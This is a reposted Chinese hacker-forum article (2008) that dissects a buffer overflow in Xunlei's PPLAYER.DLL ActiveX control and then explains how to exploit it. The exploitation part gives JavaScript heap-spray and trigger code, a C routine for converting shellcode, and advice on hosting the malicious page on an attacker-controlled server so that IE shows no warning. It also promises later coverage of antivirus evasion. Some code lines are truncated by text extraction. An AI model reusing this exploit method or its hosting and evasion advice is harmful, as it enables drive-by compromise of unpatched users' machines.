On The Road ZJL

我的博客列表

2008年8月6日星期三

迅雷PPLAYER.DLL ActiveX控件溢出漏洞剖析及利用 华夏黑客同盟论坛

迅雷PPLAYER.DLL ActiveX控件溢出漏洞剖析及利用 华夏黑客同盟论坛: "xyz123
转眼进入奥运年,趁新年之际咱们先聊几句杂话。回首07年暴出的安全漏洞,不难看出这样一个现象:06年还流行的Office与Winrar等软件漏洞,由于遇到技术(FileFuzz、反汇编等)瓶颈而数量明显减少,各种ActiveX控件漏洞、及其与IE相结合的利用方式却似乎正成为一个研究趋势。我们可以理解为这是一种退而求其次的趋势,但如果能把ActiveX漏洞这一套理解得很清晰,其实也是可以学到不少东西的。
本文的分析对象是国内流行P2P下载软件迅雷的一�"


xyz123
转眼进入奥运年,趁新年之际咱们先聊几句杂话。回首07年暴出的安全漏洞,不难看出这样一个现象:06年还流行的Office与Winrar等软件漏洞,由于遇到技术(FileFuzz、反汇编等)瓶颈而数量明显减少,各种 ActiveX控件漏洞、及其与IE相结合的利用方式却似乎正成为一个研究趋势。我们可以理解为这是一种退而求其次的趋势,但如果能把ActiveX漏洞这一套理解得很清晰,其实也是可以学到不少东西的。
本文的分析对象是国内流行P2P下载软件迅雷的一个溢出漏洞,关于迅雷软件的使用及特点,这里就不再浪费篇幅。文章主要内容有:
1、 漏洞简介
2、 调试剖析
3、 利用详解
4、 小结
下面进入正题,分析若有不当之处,请大家多指正。
漏洞简介
不少安全站点上公布了该漏洞,但内容基本类似,nsfocus上的公告如图1所示:

根据公告,我们大概知道了漏洞是由于迅雷5.7.4.401的PPLAYER.DLL_1_WORK ActiveX控件中FlvPlayerUrl函数对输入参数的过滤不足引起的,该控件封装在pplayer.dll里。公告没有告诉我们更多的漏洞细节(如是堆栈溢出还是堆溢出,如何触发等等),但给出了相关测试代码PoC。我们要做的事情,就是利用这个PoC进行调试跟踪,进而理清漏洞的来龙去脉。
调试剖析
直接将公告里给出的PoC代码copy到记事本中,保存为test.htm,并通过IE来进行测试。本文测试环境是Windows XP SP2+IE6。关于这个PoC,测试前有几点需注意:
a、测试方式。如果测试仅仅在我们本机进行,则直接用IE来打开该文件即可;而实际利用时,则需要把构造好的.htm页面放在可控的Web服务器上。
b、cookie判断。代码首先判断浏览器是否提交了cookie,提交则表示之前已经打开过页面,而未提交才执行后面代码。关键代码如下:
var set_cookie = document.cookie.indexOf("3Ware="); //cookie变量名为3Ware
if (set_cookie == -1) //第1次打开该文件,创建cookie
{
document.cookie = "3Ware=1;
expires=" + expires.toGMTString();
……
}
Cookie文件名为osuser@path[n].txt,osuser为系统当前用户,n为1、2等整数。显然,要对一个文件多次测试的话,应该每次将系统当前用户的Cookies目录下的内容清空,或者将干脆将把PoC中的这段cookie判断代码去掉。
c、IE利用代码。这部分代码还是采用了传统的内存扩充方法来实现,具体分析我们放在后面利用部分进行。
d、触发代码。在前面作好内存扩充后,PoC中的触发代码如下:
var size_buff = 1070; //注意,为什么是1070呢?后面分析
var x = unescape("%0c%0c%0c%0c"); //0c本身对应or al,0Ch指令
while (x.lengthgl.FlvPlayerUrl = x;
对 PoC预分析完毕,下面进行测试。我测试的一般过程是:先看整体现象,再跟踪中间细节。使用IE打开test.htm(如果你的默认浏览器为IE,则双击 test.htm即可),片刻之后IE直接挂掉。我没有仔细分析PoC里这段ShellCode的功能,但IE挂掉的现象至少说明漏洞的确触发了。
下面进行调试分析,为了使得异常发生,将上面的触发脚本作如下修改:
//var x = unescape("%0c%0c%0c%0c");
var x = unescape("%62%62%62%62"); //这句是测试上时我替换的
保存为test1.htm,用IE打开test1.htm,弹出如图2中提示:

在点击“是”之前,先打开Windbg,attach到IE进程上。然后,按F5运行直到遇到如图3所示异常:

按Alt+7,查看异常代码附近的一些指令,如图4所示:

分析过office漏洞的朋友可能一眼就看出,这是内存中的C++对象指针被覆盖(22d44617 指令中的eax),导致后面利用该指针调用虚函数(22d4461a指令)时,可能执行任意指令。22d44611指令中的esi=028d9660就是对象指针eax的保存地址,d esi观察这片内存,如图5所示:

这里覆盖成了PoC中修改的数据62H,继续往前搜索,发现这片数据的开始地址为29b8cd4。我们要找出写入这些数据的代码,才可能找出漏洞起因。然而打开该test1.htm的开始阶段,这片内存还没被分配,更不要说是监视对它的读写操作了。遇到这种情况,我一般是通过摸索测试,使代码先走到 29b8cd4已可读写、但还未写入我们填充的数据的状态时停下来。这是一个多次“下断点、测试、逆向”的循环分析过程,这里就多不罗嗦了,直接给出整理后的分析过程。
删除Cookies目录中的cookie文件,重新开始调试。再次出现图2中提示框时,设置bp loadlibrarya d后F5,使得loadlibrarya在被调用第14次时断了下来。然后设置bp globalalloc来监视这个内存分配函数,shift+f11若干次,直到发现29b8cd4附近内存可读写为止。设置ba w4 29b8cd4监视数据copy,F5继续运行。不久,代码_strcpy函数中某处停下来。这个_strcpy函数不是msvcrt中的,而是 xplayer.dll中自定义的,入口地址是22d53240。
再次重新启动程序,在第14次断下loadlibrarya后,设置bp 22d53240。然后每次停下来后,通过bp poi(esp+8)和bp poi(esp+4)来观察要copy的数据是不是PoC中输入的626262…..。最后,发现断点两三次停下之后,就出现了我们想要的数据copy。这些数据是从哪里来的呢?往前回溯不难发现,它们都是从pplayer.dll中调用xplayer.dll中的虚函数时作为参数传送过来的。
为什么图5中会出现8字节的0呢?经过分析,前4字节修改过程为:
22D45AFE lea edi, [esi+0BCh]
22D45B04 push dword ptr [edi] ; char
22D45B06 mov dword ptr [esi+205Ch], 1 ;覆盖前4字节为1
22D45B10 push offset s_XplayerPlay_3 ; "XPlayer: Player %d, Event - Fire_OnOpen"...
22D45B15 call sub_22D4D11A
22D448B6 and dword ptr [esi+205Ch], 0 ;覆盖29b9124为0
22D448BD mov eax, [ecx]
22D448BF call dword ptr [eax+10h]
22D448C2 and dword ptr [edi], 0
22D448C5 mov ecx, esi
22D448C7 call sub_22D4439C
后4字节修改过程为:
22d4410c call xplayer!DllUnregisterServer+0x4e53 (22d4d11a)
22d44111 mov eax,dword ptr [esp+14h]
22d44115 pop ecx
22d44116 pop ecx
22d44117 mov dword ptr [esi+2060h],eax ;刚好把后4字节写为0
22d4411d xor eax,eax
此外,图2中028d9664之前的62H字节数为1064,经测试,只要数据输入长度超过1070,无论超过多少,最后触发情况都一样。
OK,现在可以总结下漏洞起因了:pplayer.dll中接收FlvPlayerUrl属性的时候未检测长度,导致在xplayer.dll中调用_strcpy函数进行copy的时候一个C++对象指针被覆盖。
利用详解
分析了漏洞起因,我们来着重讨论下漏洞的利用。不只针对单个漏洞,而是归纳ActiveX这类漏洞的利用方法,总体要考虑下列几方面:
a、利用代码(含ShellCode)的存放位置。ActiveX控件的溢出漏洞,利用时往往考虑与IE相结合,但分两种情况。一种是IE中启动 ActiveX控件对应的应用程序(如IE直接启动Acrobat Reader),如果应用程序调用该ActiveX解析某格式文件时出现漏洞,那么漏洞的主要利用代码放在这个格式的特制文件里(如.pdf),而网页里只放几句简单的跳转脚本;另一种是IE中仅调用ActiveX控件而不启动程序,那么漏洞的主要利用代码就放在特制的HTML页面里。本文这个漏洞属于第二种,所以下面的内容也就只分析这种情况。
b、内存扩充(Heap Spray)。通过Javascript进行内存扩充,是利用溢出漏洞制作网页木马的惯用方法,方法如图6所示:

每个内存块都由填充数据(如0c)和ShellCode(简称SC)组成,块与块之间不一定是物理连续的,但却是从低到高地址依次分配过来的。Javascript中,内存扩充代码相对固定,大致如下(无先后之分):
var helloworld2Address = 0x0c0c0c0c; //0c0c0c0c是地址也是OR AL,0C指令
var shellcode = unescape("%u…"); //ShellCode
var hbshelloworld = 0x100000;
var payLoadSize = shellcode.length * 2; //计算ShellCode长度
var spraySlideSize = hbshelloworld - (payLoadSize+0x38); //每块需填充0c的
//字节数
var spraySlide = unescape("%u0c0c%u0c0c");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (helloworld2Address - 0x100000)/hbshelloworld;
memory = new Array(); //按照Windows堆分配机制动态分配内存块
for (i=0;i{
memory = spraySlide + shellcode; //对每个内存块做相同的填充
}
function getSpraySlide(spraySlide, spraySlideSize) // getSpraySlide的实现
{
while (spraySlide.length*2 {
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
对于迅雷这个漏洞,如果我们填充对象指针为0c0c0c0c,而0c0c0c0c地址上的内容也是0c0c0c0c,就可以使得虚函数调用时eip指向了 0x0c0c0c0c这个地址。OR AL,0C等效于NOP指令,所以在这片内存中一直执行下去的话,最后可以执行到我们的ShellCode。
安全焦点上有篇文章提到:因为0x0c0c0c0c这个地址在内存中并不高,javascript分配内存就会影响到这一段。所以如果IE之前访问了很多网页,特别是一些比较大的网页,就会影响到这段地址,从而导致我们heap spray失败,提倡用java来分配内存。但我觉得如果把java分配地址通用性限制与目标用户实际环境不好的几率综合考虑,javascript在实际应用中仍然应该是大家的首选。
c、IE的安全警告。不少朋友经常说IE打开网马的时候,老要弹出图2中“是否让文件运行活动内容”的安全警告。其实这是个简单的误区,实际利用时是把做好的网马放到你控制的Web站点上,通过URL访问一般是不会出现什么提示的。当然,极少数漏洞利用时例外。
d、替换ShellCode。网上公布的PoC中的ShellCode,有时由于某种原因,到我们机器上就不能正常使用,或者它的功能本来就不满足我们的要求。为此,我们需要替换成自己的ShellCode。作为一个真正的漏洞利用者,平时存储一些常用的ShellCode是很好的习惯,免得每次都临时找。
具体到这个漏洞,我测试使用启动计算器的ShellCode,如图7所示:

这种形式的ShellCode显然不能用于javascript中,需要作适当的变换,相关C代码如下:
int i;
char fix[] = "%u";
for(i = 0; i < sizeof(shellcode) - 1; i = i + 2)
{
printf("%s", fix);
printf("%02x", shellcode[i + 1]);
printf("%02x", shellcode);
}
直接把屏幕上输出内容copy到javascript中,注意ShellCode 中间不要有0d、0a这样的字符。
整理清楚上面几点,写Exp就是相当简单的事情了。我把修改后的test2.htm,以及ShellCode转换代码都附在了光盘中。从浏览器访问IIS中的test2.htm如图8所示:


由于时间关系,我分析测试环境中没有杀毒软件,实际上mcafee、norton等杀软都要杀这个漏洞的PoC。脚本的免杀处理现在看来比较困难,这个问题我们在后面的文章中会专门分析。

没有评论: